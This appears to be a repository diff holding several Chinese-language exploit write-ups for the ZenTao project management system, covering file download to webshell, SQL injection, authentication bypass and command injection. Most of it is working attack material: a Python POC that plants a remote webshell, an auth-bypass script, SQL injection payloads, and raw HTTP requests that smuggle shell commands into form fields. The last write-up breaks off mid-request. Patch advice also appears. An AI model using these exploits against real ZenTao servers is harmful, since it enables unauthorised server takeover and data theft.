百度云安全团队监测到禅道官方发布了文件上传漏洞的风险通告,该漏洞编号为CNVD-C-2020-121325,漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析,由于需要登录后台才可以利用,实际风险相对较低,建议受影响的禅道用户尽快升级到最新版。
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
禅道 <= 12.4.2版本
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
百度下12.4.2的禅道环境按步骤安装下载即可
|
||||
|
||||
[禅道官方网站](https://www.zentao.net/)
|
||||
|
||||

|
||||
|
||||
调用接口查询版本信息
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
漏洞触发需要后台权限
|
||||
|
||||
根据漏洞描述查看修改后的代码片段
|
||||
|
||||

|
||||
|
||||
**修改前**
|
||||
|
||||
```php
|
||||
public function downloadZipPackage($version, $link)
|
||||
{
|
||||
$decodeLink = helper::safe64Decode($link);
|
||||
if(preg_match('/^https?\:\/\//', $decodeLink)) return false;
|
||||
|
||||
return parent::downloadZipPackage($version, $link);
|
||||
}
|
||||
```
|
||||
|
||||
**修改后**
|
||||
|
||||
```php
|
||||
public function downloadZipPackage($version, $link)
|
||||
{
|
||||
$decodeLink = helper::safe64Decode($link);
|
||||
if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;
|
||||
|
||||
$file = basename($link);
|
||||
$extension = substr($file, strrpos($file, '.') + 1);
|
||||
if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
|
||||
|
||||
return parent::downloadZipPackage($version, $link);
|
||||
}
|
||||
```
|
||||
|
||||
这里传入的参数为版本和link地址,然后base64解码,正则判断是否为**http**或**https**协议,这里的正则过滤并不完整,所以可以绕过用于下载恶意文件
|
||||
|
||||

|
||||
|
||||
可以大写**http**或请求**FTP**来绕过正则
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
跟进一下**parent::downloadZipPackage**这个方法,跟着来到**zentao\module\client\model.php**文件中
|
||||
|
||||

|
||||
|
||||
```php
|
||||
public function downloadZipPackage($version, $link)
|
||||
{
|
||||
ignore_user_abort(true);
|
||||
set_time_limit(0);
|
||||
if(empty($version) || empty($link)) return false;
|
||||
$dir = "data/client/" . $version . '/';
|
||||
$link = helper::safe64Decode($link);
|
||||
$file = basename($link);
|
||||
if(!is_dir($this->app->wwwRoot . $dir))
|
||||
{
|
||||
mkdir($this->app->wwwRoot . $dir, 0755, true);
|
||||
}
|
||||
if(!is_dir($this->app->wwwRoot . $dir)) return false;
|
||||
if(file_exists($this->app->wwwRoot . $dir . $file))
|
||||
{
|
||||
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
|
||||
}
|
||||
ob_clean();
|
||||
ob_end_flush();
|
||||
|
||||
$local = fopen($this->app->wwwRoot . $dir . $file, 'w');
|
||||
$remote = fopen($link, 'rb');
|
||||
if($remote === false) return false;
|
||||
while(!feof($remote))
|
||||
{
|
||||
$buffer = fread($remote, 4096);
|
||||
fwrite($local, $buffer);
|
||||
}
|
||||
fclose($local);
|
||||
fclose($remote);
|
||||
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
|
||||
}
|
||||
```
|
||||
|
||||
可以简单看到这里获取link传入的文件名,通过**fopen**打开该文件,写入禅道目录**www/data/client/version**中
|
||||
|
||||
查看一下有没有调用这个方法的地方
|
||||
|
||||

|
||||
|
||||
找到了**download**方法调用了这个漏洞点,所以我们有两种下载恶意文件的方法
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
|
||||
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=[$version参数]&link=[base64加密后的恶意文件地址]
|
||||
```
|
||||
|
||||
首先先上传一个恶意文件,可以是FTP也可以是HTTP
|
||||
|
||||
例如我上传的文件URL为[**http://peiqi.tech/SHELL.php**](http://peiqi.tech/SHELL.php)
|
||||
|
||||
```plain
|
||||
http://peiqi.tech/SHELL.php
|
||||
|
|
||||
base64加密 HTTP://peiqi.tech/SHELL.php
|
||||
|
|
||||
SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
|
||||
```
|
||||
|
||||
请求地址则为
|
||||
|
||||
```plain
|
||||
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
|
||||
```
|
||||
|
||||

|
||||
|
||||
下载的目录地址为**zentaopms\www\data\client\1**
|
||||
|
||||
目录为version名称
|
||||
|
||||

|
||||
|
||||
成功上传webshell
|
||||
|
||||

|
||||
|
||||
## 漏洞POC
|
||||
|
||||
- POC使用需要拥有后台Cookie
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
#-*- coding:utf-8 -*-
|
||||
# author : PeiQi
|
||||
# from : http://wiki.peiqi.tech
|
||||
|
||||
import base64
|
||||
import requests
|
||||
import random
|
||||
import re
|
||||
import json
|
||||
import sys
|
||||
|
||||
def title():
|
||||
print('+------------------------------------------')
|
||||
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
|
||||
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
|
||||
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
|
||||
print('+ \033[34mVersion: zentao version <= 12.4.2 \033[0m')
|
||||
print('+ \033[36m使用格式: python3 CNVD-C-2020-121325.py \033[0m')
|
||||
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
|
||||
print('+ \033[36mShell >>> http://xxx.xxx.xxx.xxx/shell.php(恶意文件地址) \033[0m')
|
||||
print('+ \033[36mZentaosid >>> xxxxxxxxxxxxxx(cookie字段) \033[0m')
|
||||
print('+------------------------------------------')
|
||||
|
||||
def POC_1(target_url):
|
||||
version_url = target_url + "/www/index.php?mode=getconfig"
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||||
}
|
||||
try:
|
||||
response = requests.get(url=version_url, timeout=20, headers=headers)
|
||||
version = json.loads(response.text)['version']
|
||||
print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))
|
||||
|
||||
except Exception as e:
|
||||
print("\033[31m[x] 获取版本失败 \033[0m", e)
|
||||
|
||||
|
||||
def POC_2(target_url, shell_url, zentaosid):
|
||||
options = shell_url.split("://")
|
||||
if options[0] == "http":
|
||||
shell_url = "HTTP://" + options[1]
|
||||
elif options[0] == "ftp":
|
||||
shell_url = "ftp://" + options[1]
|
||||
else:
|
||||
print("\033[31m[x] 请使用正确的请求地址 \033[0m")
|
||||
sys.exit(0)
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||||
"Cookie":"zentaosid={}".format(zentaosid)
|
||||
}
|
||||
|
||||
shell_url_base = str((base64.b64encode(shell_url.encode('utf-8'))),'utf-8')
|
||||
vuln_url = target_url + "/www/index.php?m=client&f=download&version=test&link={}".format(shell_url_base)
|
||||
print("\033[32m[o] 请求漏洞url:{}\033[0m".format(vuln_url))
|
||||
|
||||
try:
|
||||
response = requests.get(url=vuln_url, timeout=20, headers=headers)
|
||||
if "保存成功" in response.text:
|
||||
print("\033[32m[o] 成功写入Webshell,URL地址为:{}/www/data/client/test/Webshell_name.php\033[0m".format(target_url))
|
||||
else:
|
||||
print("\033[31m[x] 恶意文件下载失败 \033[0m")
|
||||
except:
|
||||
print("\033[31m[x] 恶意文件下载失败 \033[0m")
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
title()
|
||||
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
|
||||
shell_url = str(input("\033[35mShell >>> \033[0m"))
|
||||
zentaosid = str(input("\033[35mZentaosid >>> \033[0m"))
|
||||
POC_1(target_url)
|
||||
POC_2(target_url, shell_url, zentaosid)
|
||||
```
|
||||
|
||||

|
@ -1,33 +0,0 @@
|
||||
# 禅道 V16.5 SQL 注入 CNVD-2022-42853
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
禅道是一款专业的国产开源研发项目管理软件,集产品管理,项目管理, 质量管理,文档管理,组织管理和事务管理于一体,完整覆盖了研发项目管理的核心流程,管理思想基于国际流行的敏捷项目管理方法-Scrum,在遵循其价值观的基础上,结合国内项目研发的现状,整合了任务管理,需要管理,Bug 管理,用例管理等多种功能,覆盖软件从计划到发布的整个生命周期。
|
||||
|
||||
禅道 V16.5 未对输入的 account 参数内容作过滤校验,导致攻击者拼接恶意 SQL 语句执行。
|
||||
|
||||
## 环境搭建
|
||||
|
||||
下载环境:
|
||||
|
||||
```
|
||||
https://www.zentao.net/dl/zentao/16.5/ZenTaoPMS.16.5.win64.exe
|
||||
```
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
报错型注入 Payload:
|
||||
|
||||
```
|
||||
admin' and updatexml(1,concat(0x7e,(user),0x7e),1) and '1'='1
|
||||
```
|
||||
|
||||
poc:
|
||||
|
||||
```
|
||||
POST /zentao/user-login.html HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
account=admin%27+and++updatexml%281%2Cconcat%280x1%2Cuser%28%29%29%2C1%29+and+%271%27%3D%271
|
||||
```
|
@ -1,100 +0,0 @@
|
||||
# 禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
禅道项目管理系统存在远程命令执行漏洞,该漏洞源于在认证过程中未正确退出程序,导致了认证绕过,并且后台中有多种执行命令的方式,攻击者可利用该漏洞在目标服务器上注入任意命令,实现未授权接管服务器。
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
杭州易软共创网络科技有限公司 禅道项目管理系统 >=17.4,<=18.0.beta1(开源版)
|
||||
杭州易软共创网络科技有限公司 禅道项目管理系统 >=7.4,<=8.0.beta1(企业版)
|
||||
杭州易软共创网络科技有限公司 禅道项目管理系统 >=3.4,<=4.0.beta1(旗舰版)
|
||||
```
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
权限绕过:
|
||||
|
||||
```
|
||||
import requests
|
||||
|
||||
header={
|
||||
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36',
|
||||
}
|
||||
|
||||
def bypasscookie(url,session):
|
||||
target=url+"/index.php?m=misc&f=captcha&sessionVar=user"
|
||||
r=session.get(target,headers=header)
|
||||
zentaosid=r.cookies.get_dict()['zentaosid']
|
||||
print(zentaosid)
|
||||
|
||||
header["Cookie"]="zentaosid="+zentaosid
|
||||
resp=session.get(url+"/index.php?m=my&f=index",headers=header)
|
||||
if "/shandao/www/index.php?m=user&f=login" not in resp.text:
|
||||
print("绕过登陆验证")
|
||||
else:
|
||||
print("无法绕过验证")
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
url="http://127.0.0.1:8081/shandao/www/"
|
||||
session=requests.Session()
|
||||
bypasscookie(url,session)
|
||||
```
|
||||
|
||||
后台RCE:
|
||||
|
||||
先创建Gitlab代码库,拿到repoID
|
||||
|
||||
```
|
||||
POST /shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss HTTP/1.1
|
||||
Host: 127.0.0.1:8081
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=create&objectID=0&tid=rmqcl0ss
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Content-Length: 144
|
||||
Origin: http://127.0.0.1:8081
|
||||
Connection: close
|
||||
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-origin
|
||||
|
||||
product%5B%5D=1&SCM=Gitlab&serviceProject=wangnima&name=wangnima2333&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=63e4a18218a68
|
||||
```
|
||||
|
||||
创建好后,去到
|
||||
http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=maintain&tid=rmqcl0ss查看repoID并进入编辑
|
||||
|
||||
```
|
||||
POST /shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss HTTP/1.1
|
||||
Host: 127.0.0.1:8081
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://127.0.0.1:8081/shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Content-Length: 222
|
||||
Origin: http://127.0.0.1:8081
|
||||
Connection: close
|
||||
Cookie: lang=zh-cn; device=desktop; theme=default; tab=devops; preCaseLibID=1; lastCaseLib=1; checkedItem=; goback=%7B%22devops%22%3A%22http%3A%5C%2F%5C%2F127.0.0.1%3A8081%5C%2Fshandao%5C%2Fwww%5C%2Findex.php%3Fm%3Drepo%26f%3Dbrowse%26repoID%3D1%26branchID%3D%26objectID%3D0%26tid%3Dvwy3ton6%22%7D; zentaosid=r3094u5448167shtdrur4c7b6q; repoBranch=master; windowWidth=1453; windowHeight=844
|
||||
Sec-Fetch-Dest: empty
|
||||
Sec-Fetch-Mode: cors
|
||||
Sec-Fetch-Site: same-origin
|
||||
|
||||
product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=%60open+%2FSystem%2FApplications%2FCalculator.app%60&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65
|
||||
```
|
||||
|
||||
## 漏洞修复
|
||||
|
||||
1. 进行官方升级:https://www.zentao.net/book/zentaoprohelp/41.html
|
||||
2. 安全产品升级:部分厂商安全产品具备识别该漏洞功能,进行版本升级至最新版。
|
||||
3. 临时防护措施:可在 module/common/model.php 文件中 echo $endResponseException->getContent();后面加上 exit(); 来修复权限绕过漏洞。
|
After Width: | Height: | Size: 239 KiB |
After Width: | Height: | Size: 1.3 MiB |
After Width: | Height: | Size: 492 KiB |
After Width: | Height: | Size: 648 KiB |
After Width: | Height: | Size: 542 KiB |
After Width: | Height: | Size: 308 KiB |
After Width: | Height: | Size: 517 KiB |
After Width: | Height: | Size: 178 KiB |
After Width: | Height: | Size: 276 KiB |
After Width: | Height: | Size: 513 KiB |
After Width: | Height: | Size: 78 KiB |
After Width: | Height: | Size: 633 KiB |
After Width: | Height: | Size: 620 KiB |
After Width: | Height: | Size: 506 KiB |
After Width: | Height: | Size: 512 KiB |
After Width: | Height: | Size: 160 KiB |
107
Web应用漏洞/禅道 misc-captcha-user.html 权限绕过&命令执行漏洞 CNVD-2023-02709.md
Normal file
@ -0,0 +1,107 @@
|
||||
# 禅道 misc-captcha-user.html 权限绕过&命令执行漏洞 CNVD-2023-02709
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
禅道项目管理系统存在远程命令执行漏洞,该漏洞源于在认证过程中未正确退出程序,导致认证绕过,并且后台中有多种执⾏命令的⽅式,攻击者可利用该漏洞在目标服务器上注入任意命令,实现未授权接管服务器。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://www.zentao.net/book/zentaoprohelp/41.html
|
||||
- https://www.zentao.net/book/zentaopms/405.html
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
禅道 >=17.4,<=18.0.beta1(开源版)
|
||||
禅道 >=7.4,<=8.0.beta1(企业版)
|
||||
禅道 >=3.4,<=4.0.beta1(旗舰版)
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
[源码安装](https://github.com/easysoft/zentaopms/archive/refs/tags/zentaopms_18.0.beta1.zip),或执行如下命令启动一个禅道 18.0.beta1 服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
docker-compose.yml
|
||||
|
||||
```
|
||||
services:
|
||||
zentao:
|
||||
image: easysoft/zentao:18.0.beta1
|
||||
ports:
|
||||
- "8084:80"
|
||||
environment:
|
||||
- MYSQL_INTERNAL=true
|
||||
volumes:
|
||||
- /data/zentao:/data
|
||||
```
|
||||
|
||||
服务启动后,访问 `http://your-ip:8084` 即可查看到安装页面,默认配置安装直至完成,数据库默认账号密码为 `root/123456`:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
查看版本号:
|
||||
|
||||
```
|
||||
http://your-ip:8084/?mode=getconfig
|
||||
-----
|
||||
{"version":"18.0.beta1","requestType":"PATH_INFO","requestFix":"-","moduleVar":"m","methodVar":"f","viewVar":"t","sessionVar":"zentaosid","systemMode":"ALM","sprintConcept":"0","URAndSR":"0","maxUploadSize":"50M","sessionName":"zentaosid","sessionID":"k6s9ogaog0hv3b8jjg1vqr6ll4","random":503,"expiredTime":"1440","serverTime":1743992417,"rand":503}
|
||||
```
|
||||
|
||||

|
||||
|
||||
请求 `http://your-ip:8084/misc-captcha-user.html` ,在 `Set-Cookie` 中获取 `zentaosid`。
|
||||
|
||||
创建并制定仓库为 GItlab:
|
||||
|
||||
```
|
||||
POST /repo-create.html HTTP/1.1
|
||||
Host: your-ip:8084
|
||||
Cookie: zentaosid=69ld7c5h6n02k7i4iumt346den; lang=zh-cn; device=desktop; theme=default
|
||||
Referer: http://your-ip:8084/index.php?m=user&f=login&referer=L2luZGV4LnBocD9tPXJlcG8mZj1jcmVhdGUmX3NpbmdsZT0xMjM=
|
||||
Accept-Encoding: gzip
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 154
|
||||
|
||||
product%5B%5D=1&SCM=Gitlab&name=poc&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid=
|
||||
```
|
||||
|
||||

|
||||
|
||||
命令执行:
|
||||
|
||||
```
|
||||
POST /repo-edit-10000-10000.html HTTP/1.1
|
||||
Host: your-ip:8084
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Cookie: zentaosid=69ld7c5h6n02k7i4iumt346den; lang=zh-cn; device=desktop; theme=default
|
||||
Referer: http://your-ip:8084/index.php?m=user&f=login&referer=L2luZGV4LnBocD9tPXJlcG8mZj1jcmVhdGUmX3NpbmdsZT0xMjM=
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Accept-Encoding: gzip
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36
|
||||
Content-Length: 112
|
||||
|
||||
SCM=Subversion&client=`id`
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
[升级]() 至安全版本:
|
||||
|
||||
- 开源版升级至 18.0.beta2 及以上版本;
|
||||
- 企业版升级至 8.0.bate2 及以上版本;
|
||||
- 旗舰版升级至 4.0.bate2 及以上版本。
|
||||
|
||||
临时防护措施:
|
||||
|
||||
- 可在 `module/common/model.php` 文件中 `echo $endResponseException->getContent();` 后面加上 `exit();` 来修复权限绕过漏洞
|
75
Web应用漏洞/禅道 v16.5 前台 SQL 注入 CNVD-2022-42853.md
Normal file
@ -0,0 +1,75 @@
|
||||
# 禅道 v16.5 前台 SQL 注入 CNVD-2022-42853
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
禅道项目管理系统 v16.5 版本未对输入的 account 参数内容作过滤校验,导致攻击者拼接恶意 SQL 语句执行。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://www.zentao.net/book/zentaoprohelp/41.html
|
||||
- https://www.zentao.net/book/zentaopms/405.html
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
禅道 16.5,16.5beta1(开源版)
|
||||
禅道 6.5,6.5beta1(企业版)
|
||||
禅道 3.0,3.0beta1(旗舰版)
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令启动一个禅道 16.5 服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
docker-compose.yml
|
||||
|
||||
```
|
||||
services:
|
||||
zentao:
|
||||
image: easysoft/zentao:16.5
|
||||
ports:
|
||||
- "8084:80"
|
||||
environment:
|
||||
- MYSQL_INTERNAL=true
|
||||
volumes:
|
||||
- /data/zentao:/data
|
||||
```
|
||||
|
||||
服务启动后,访问 `http://your-ip:8084` 即可查看到安装页面,默认配置安装直至完成,数据库默认账号密码为 `root/123456`:
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
报错型注入 payload:
|
||||
|
||||
```
|
||||
admin' AND updatexml(1, concat(0x7e, (SELECT version()), 0x7e), 1) AND '1'='1
|
||||
```
|
||||
|
||||
poc:
|
||||
|
||||
```
|
||||
POST /user-login.html HTTP/1.1
|
||||
Host: your-ip:8084
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Origin: http://your-ip:8084
|
||||
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Referer: http://your-ip:8084/index.php
|
||||
Content-Length: 92
|
||||
|
||||
account=admin%27+AND+updatexml%281%2C+concat%280x7e%2C+%28SELECT+version%28%29%29%2C+0x7e%29%2C+1%29+AND+%271%27%3D%271
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
升级至最新版本 https://www.zentao.net/
|
75
Web应用漏洞/禅道 zahost-create.html 后台命令执行漏洞.md
Normal file
@ -0,0 +1,75 @@
|
||||
# 禅道 zahost-create.html 后台命令执行漏洞
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
禅道项目管理系统 v18.0-v18.3 版本 `module/zahost/model.php` 中,`ping` 函数未对传入参数 `$address` 进行校验,导致后台命令执行。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://www.zentao.net/book/zentaoprohelp/41.html
|
||||
- https://www.zentao.net/book/zentaopms/405.html
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
禅道 >=18.0,<=18.3(开源版)
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令启动一个禅道 18.0 服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
docker-compose.yml
|
||||
|
||||
```
|
||||
services:
|
||||
zentao:
|
||||
image: easysoft/zentao:18.0
|
||||
ports:
|
||||
- "8084:80"
|
||||
environment:
|
||||
- MYSQL_INTERNAL=true
|
||||
volumes:
|
||||
- /data/zentao:/data
|
||||
```
|
||||
|
||||
服务启动后,访问 `http://your-ip:8084` 即可查看到安装页面,默认配置安装直至完成,数据库默认账号密码为 `root/123456`。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
使用安装时配置的账号密码登录系统,点击 `测试 → 宿主机`,添加一个宿主机:
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
抓包,修改 extranet 参数,拼接命令,执行 `touch /tmp/awesome_poc`:
|
||||
|
||||
```
|
||||
POST /zahost-create.html HTTP/1.1
|
||||
Host: your-ip:8084
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Origin: http://your-ip:8084
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
Referer: http://your-ip:8084/zahost-create.html
|
||||
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
|
||||
Accept-Encoding: gzip, deflate
|
||||
Cookie:
|
||||
Content-Length: 120
|
||||
|
||||
vsoft=kvm&hostType=physical&name=poc&extranet=127.0.0.1|touch%20/tmp/awesome_poc&cpuCores=2&memory=2&diskSize=20&desc=&uid=67f347db724c1&type=za
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 漏洞修复
|
||||
|
||||
升级至最新版本 https://www.zentao.net/
|
120
Web应用漏洞/禅道 zentaosid cookie 身份认证绕过漏洞.md
Normal file
@ -0,0 +1,120 @@
|
||||
# 禅道 zentaosid cookie 身份认证绕过漏洞
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
禅道项目管理系统存在身份认证绕过漏洞,远程攻击者利用该漏洞可以绕过身份认证,调用任意 API 接口创建用户或修改管理员用户的密码,以管理员用户登录该系统,进而接管服务器。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://www.zentao.net/book/zentaoprohelp/41.html
|
||||
- https://www.zentao.net/book/zentaopms/405.html
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
16.x <= 禅道 < 18.12(开源版)
|
||||
6.x <= 禅道 < 8.12(企业版)
|
||||
3.x <= 禅道 < 4.12(旗舰版)
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令启动一个禅道 18.5 服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
docker-compose.yml
|
||||
|
||||
```
|
||||
services:
|
||||
zentao:
|
||||
image: easysoft/zentao:18.5
|
||||
ports:
|
||||
- "8084:80"
|
||||
environment:
|
||||
- MYSQL_INTERNAL=true
|
||||
volumes:
|
||||
- /data/zentao:/data
|
||||
```
|
||||
|
||||
服务启动后,访问 `http://your-ip:8084` 即可查看到安装页面,默认配置安装直至完成,数据库默认账号密码为 `root/123456`。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
```
|
||||
POST /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
|
||||
Host: your-ip:8084
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Content-Length: 11
|
||||
|
||||
fields=true
|
||||
```
|
||||
|
||||

|
||||
|
||||
未添加 `zentaosid` 时,访问 `/api.php/v1/users` 提示 `{"error":"Unauthorized"}`:
|
||||
|
||||
```
|
||||
GET /api.php/v1/users HTTP/1.1
|
||||
Host: your-ip:8084
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Content-Length: 11
|
||||
```
|
||||
|
||||

|
||||
|
||||
添加 `zentaosid` 绕过认证:
|
||||
|
||||
```
|
||||
GET /api.php/v1/users HTTP/1.1
|
||||
Host: your-ip:8084
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
||||
